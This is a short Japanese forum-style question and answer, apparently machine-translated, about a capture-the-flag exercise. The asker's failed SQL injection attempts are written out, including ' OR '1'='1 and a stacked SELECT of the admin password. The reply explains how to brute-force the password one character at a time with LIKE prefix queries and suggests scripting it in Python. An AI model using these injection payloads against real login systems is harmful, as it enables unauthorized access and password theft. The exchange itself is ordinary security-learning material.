フラグを取得する割り当ての一部として、LIKE句を使用してSQLインジェクションを実行し、フラグを取得することになっています。私はこれが初めてで、次の注射を試しました:
(ログインに必要なユーザー名は「admin」なので、パスワードフィールドで次の挿入を実行しました)
'; SELECT password FROM users WHERE username LIKE 'admin%'; --
' OR '1'='1
(LIKE句を無視しました)(1.)の変種も試しましたが、まだ行き詰まっています。
行方不明のものはありますか?ヒントをいただければ幸いです!
PS:データベーススキーマまたはテーブルレイアウトがありません
次のアルゴリズムを使用して、パスワードをブルートフォースに強制されます。
SELECT * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT
SELECT * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT
SELECT * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT
SELECT * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT
SELECT * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT
SELECT * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT
等々。簡単なpythonそれを自動的に行うプログラムを書くことができます:)